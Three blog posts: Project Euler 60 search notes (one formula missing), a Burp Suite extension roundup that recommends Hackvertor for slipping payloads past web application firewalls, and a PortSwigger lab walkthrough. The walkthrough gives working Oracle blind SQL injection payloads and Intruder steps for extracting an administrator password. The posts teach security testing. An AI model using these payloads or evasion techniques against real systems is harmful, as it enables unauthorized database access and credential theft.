Project Euler problem 60 is a nice mid-difficulty combinatorial search problem. It has enough structure that pure brute force falls over, and enough structure that a handful of small observations gives you a very tractable search.

Our working notes: Project Euler/60.

The Problem

The primes 3, 7, 109, and 673 are "quite remarkable" - concatenating any two of them in either order gives another prime. So 7109, 1097, 3673, 6733, 109673, 673109, and so on, are all prime. That is 12 concatenations, all prime.

The sum of these four primes is 792, and the problem states this is the smallest such sum for a set of four primes with this property.

Find the smallest sum for a set of five primes with the same property.

The Search Space

The naive approach: enumerate all 5-subsets of primes up to some bound and check the property. The number of concatenations to check per 5-subset is

which is fine. The problem is the number of 5-subsets. If your prime bound is 10,000, you have roughly 1,229 primes, and C(1229, 5) ≈ 2.3 × 10^13 subsets. Not fine.

So the whole game is: use structural facts about the problem to cut the search space down.

Pruning by Digit Constraints

The first observation is that concatenation preserves the last digit. If A and B are primes, and you form AB (concatenation), then the last digit of AB is the last digit of B. For AB to be prime, its last digit must be 1, 3, 7, or 9 (or 2 or 5, but those only work if the resulting number is exactly 2 or 5). So every prime in our set except possibly one small one has to end in 1, 3, 7, or 9.

Similarly, since every prime except 2 has an odd last digit, and prepending a number changes the first digit but not the last, both primes in a pair have to end in 1, 3, 7, or 9.

Also: 2 and 5 can be immediately ruled out from consideration - any concatenation involving 2 or 5 will produce a number ending in a digit other than 1/3/7/9, and therefore composite.

This is a small pruning at the level of "which primes to include," but it eliminates a lot of pointless primality tests later.

Two-Pronged Search Strategy

Here is where things get interesting. The problem hands us the known 4-prime solution {3, 7, 109, 673}. So we have two very different searches available to us:

Extend-known search. Take the known 4-prime set and look for a single 5th prime p such that p concatenates to a prime with each of {3, 7, 109, 673} in both orders. This is 8 primality checks per candidate p, and we only need to iterate over primes.

Fresh-set search. Look for a completely new set of 5 primes, possibly with a smaller total sum than the extension of the known 4-prime set.

The extend-known search is much cheaper (linear in the number of candidate 5th primes, versus quintic in the fresh-set search). It also gives you a solution quickly, which lets you set an upper bound on the answer, which lets you prune the fresh-set search dramatically.

The correct order is:

1. Run extend-known first. Get some 5-prime solution and its sum, S*.
2. Run fresh-set search but throw out any partial set whose sum already exceeds S*.

By the time you get to step 2, you have a hard bound on how big any of the primes can be, which shrinks the search space by orders of magnitude.

The Structure of a Fresh-Set Search

Even with the sum bound from step 1, a fresh search benefits from being built up incrementally rather than as a nested 5-deep loop:

• Precompute a list of candidate primes up to some bound
• Build a compatibility graph: nodes are primes, an edge exists between p and q if both p||q and q||p are prime
• Find 5-cliques in this graph

Because a valid 5-set has to be a 5-clique in the compatibility graph (every pair has to concatenate-to-prime with every other pair), you can extend candidate sets incrementally:

• Start with a 2-clique (pair of primes that concatenate-to-prime)
• Extend to a 3-clique by finding a prime that concatenates-to-prime with both
• Extend to 4, then 5

At each stage, the set of viable extensions shrinks fast. Most 2-cliques have no valid extension to a 3-clique. Most 3-cliques don't extend to a 4-clique. By the time you're looking for a 5-clique, the search is narrow.

Primality Testing

For a problem like this, the primality test gets called a lot. Two things worth doing:

• Precompute a prime sieve for small numbers. The Sieve of Eratosthenes up to some reasonable bound gives you O(1) primality tests for anything in range.
• For the concatenated numbers (which can get large), use a probabilistic test like Miller-Rabin. Deterministic for numbers under 3.3 × 10^14 with the right witness set, so no false positives in the range this problem cares about.

What We Learned

Two takeaways from this problem, generalizable to other combinatorial search puzzles:

Use the known solution as a bound. If the problem hands you a partial solution, get an answer from extending it first, then use that answer's sum/cost as a pruning bound for the fuller search. This is almost always faster than starting the fuller search cold.

Build the compatibility graph explicitly. For problems where "sets of k things all pairwise satisfy some property" is the search shape, converting it to "find a k-clique" in a precomputed compatibility graph is usually the right structure. Clique-finding is NP-hard in general, but for the small k values Project Euler cares about (5 in this case), it is fast in practice.

References

• Our wiki notes: Project Euler/60
• PE 60 on projecteuler.net
• Our Java solution: https://git.charlesreid1.com/cs/euler/src/branch/master/java/Problem060.java

Short post, high signal-to-noise. If you're using Burp Suite for web security testing, there are two extensions we install on every fresh Burp installation before doing anything else. Both are free, both are in the official BApp Store, both take about thirty seconds to install, and both will save you hours the first time you need them.

Wiki reference: Burp Suite/Extensions.

How To Install BApp Store Extensions

For anyone who hasn't installed a Burp extension before:

1. In Burp, go to Extensions → BApp Store
2. Search for the extension name
3. Click "Install"
4. Wait for it to appear in the Installed tab

You can also install manually from a JAR file: Extensions → BApp Store → Manual install at the bottom, pick the file, click Open.

Extension 1: JWT Editor

JWT Editor on the BApp Store

JWT Editor lets you view and edit the contents of JSON Web Tokens in-flight. If a request contains a JWT in an Authorization: Bearer ... header or a cookie, JWT Editor gives you a tab that shows the decoded header and payload, lets you edit either one, and re-encodes and re-signs the token on the way out.

Why it matters: JWTs are opaque strings of base64 to the naked eye. If you want to test what happens when the role claim in the payload changes from user to admin, or what the server does when you swap the signing algorithm from RS256 to none, JWT Editor is the tool.

Without it: you're manually base64-decoding, editing JSON in a text editor, base64-encoding, and pasting the result back into the request. Every time. For every request.

With it: you edit the JSON in a form, and Burp handles the rest.

Extension 2: Hackvertor

Hackvertor on the BApp Store

Hackvertor is a tag-based conversion tool. You write tags in your request payloads that get expanded before the request goes out - things like URL-encode this, base64-encode that, MD5-hash the other thing, ROT13 the result, and so on. Tags can be nested and chained.

The killer feature is bypassing weak Web Application Firewalls. Many WAFs look for specific attack patterns - the literal string UNION SELECT, for example, or the literal string <script>. Hackvertor lets you write your payload once, then wrap it in a chain of encoding tags that produces a request the WAF doesn't recognize but the target application still parses correctly.

If you're doing any serious SQL injection or XSS testing against real-world targets, Hackvertor turns "the WAF blocked me" into "the WAF blocked one shape of my payload."

Other Extensions Worth Knowing About

We won't cover them here, but a few more from the BApp Store that come up regularly:

• Autorize - automated access control testing
• Turbo Intruder - much faster than the built-in Intruder for high-request-count attacks
• Logger++ - richer request logging than the built-in HTTP history

Our full list, with notes on when each one matters, is on the Burp Suite/Extensions wiki page.

References

• Our wiki: Burp Suite/Extensions
• Burp Suite BApp Store

Part 5 of our PortSwigger Web Security Academy series. This is the meaty one. We already covered blind SQLi with conditional responses, where the page renders differently depending on the truth of an injected boolean. This post covers what to do when the page doesn't render differently - but you can still smuggle information out by deliberately causing SQL errors.

The example is PortSwigger's Lab 12, which is Oracle-flavored. Full notes: SQL Injection/Blind.

The Six Steps

The full attack has six steps:

1. Prove the parameter is injectable
2. Fingerprint the database
3. Confirm a users table exists
4. Confirm the administrator user exists
5. Find the password length
6. Extract the password one character at a time

Every step builds on the previous one. This is the shape of most serious SQLi attacks - you don't get from "the parameter looks funny" to "here is the admin password" in a single request.

Step 1: Prove Injectability

Start with an injection that would be a valid SQL fragment if pasted into a query, using SQL string concatenation:

' || (select '') || '

This is well-formatted SQL. It should not error. But the server returns a 500.

Why? Because on Oracle, SELECT statements require a FROM clause. Oracle has a built-in single-row single-column table called dual that exists specifically for SELECTs that don't have a real table to draw from. Try:

' || (select '' from dual) || '

That returns 200. Well-formatted. Now confirm it wasn't a fluke:

' || (select '' from dualoiweuroqiurepoiquwer) || '

That returns 500, because there is no such table. Two data points - one using a real Oracle table, one using a garbage table - confirms both that the parameter is injectable and that the database is Oracle.

That is the fingerprint. Every major database has one or two quirks like this that betray it. Oracle's is dual + the FROM-required rule.

Step 2: Confirm the users Table Exists

Now that we know the database is Oracle, we can start reconnaissance:

' || (select '' from users) || '

If users exists, this should return 200 - but it may return 500 anyway, because the subquery might return multiple rows and the outer query expected a scalar. Add a row limiter:

' || (select '' from users where rownum = 1) || '

1. The users table exists. rownum is another Oracle-ism - it's the one-indexed row number of the current result, and rownum = 1 gives you exactly one row.

Step 3: Confirm the administrator User Exists

Here is where things get interesting. Try:

' || (select '' from users where username='administrator') || '

The problem: this returns 200 whether or not the administrator user exists. If there is no matching row, the subquery returns nothing (empty string), and the concatenation is still valid. We need a way to make the query error only when our condition is true.

The trick is CASE WHEN ... THEN TO_CHAR(1/0) ELSE '' END. Divide by zero throws a runtime error, but only when the WHEN branch executes. Wrap it in a boolean:

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '

This returns 500, because 1=1 is true and we hit the divide-by-zero.

' || (select CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '

This returns 200, because 1=0 is false and we take the ELSE branch.

Now we have an oracle where 500 means true and 200 means false. Combine it with the users-table check:

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator') || '

The FROM clause is executed first. If the user exists, the CASE executes and we get 500. If the user doesn't exist, the SELECT returns no rows and no error fires - 200.

500 confirms the administrator user exists.

Step 4: Find the Password Length

Same primitive, different condition:

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and LENGTH(password)>1) || '

500 if password length is greater than 1. 200 if not.

Fire this at every integer from 1 to 50. The largest N that returns 500 is the password length minus one (because when LENGTH(password) > N is false, we get 200).

For efficiency, use Burp Intruder:

• Send to Intruder
• Positions → Clear all positions, then mark the 1 as the payload
• Payloads → Numbers, sequential, 1 to 50, step 1
• Run

At N = 20, response switches from 500 to 200. Password length is 20.

Step 5: Extract the Password Character by Character

Same idea, one more condition wrapper:

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and SUBSTR(password,1,1)='a') || '

500 if the first character of the password is a, 200 otherwise.

Fire at all 36 alphanumeric characters. One returns 500. That's character 1.

Then character 2:

' || ... and SUBSTR(password,2,1)='a') || '

Then character 3. And so on. 20 characters, 36 letters each - 720 requests total.

Step 6: Automate With Cluster Bomb

Doing 720 requests one at a time is not fun. Burp Intruder's Cluster Bomb attack type is built for exactly this:

• Send to Intruder
• Positions → Mark the substring position (the 1 in SUBSTR(password,1,1)) as payload 1
• Positions → Mark the guessed character (the a) as payload 2
• Attack type → Cluster bomb (runs every combination of payload 1 × payload 2)
• Payload 1 → Numbers 1 to 20, step 1
• Payload 2 → Brute forcer, alphabet abcdefghijklmnopqrstuvwxyz0123456789, min 1, max 1
• Filter results by response code 500

You get exactly 20 hits, one per position. Read them off in order. Password extracted.

Why This Attack Is Worth Understanding

Every one of these tricks is small on its own. dual. rownum. CASE WHEN ... TO_CHAR(1/0). SUBSTR. Combined, they let you exfiltrate an entire password from a database that isn't showing you anything.

The 500-vs-200 oracle is the key move, and it generalizes. Anywhere the server does something you can observe based on a boolean you injected, you can build an oracle. Conditional errors are one instance. Time-based attacks (deliberately calling pg_sleep() or WAITFOR DELAY) are another. The plumbing changes, the shape is the same.

The Fix

Parameterized queries. Same as every other post in this series. There is no clever mitigation for SQL injection that isn't "stop building queries with string concatenation."

References

• Our wiki: SQL Injection/Blind
• Lab 12 - Blind SQLi with conditional errors
• Burp Suite Intruder documentation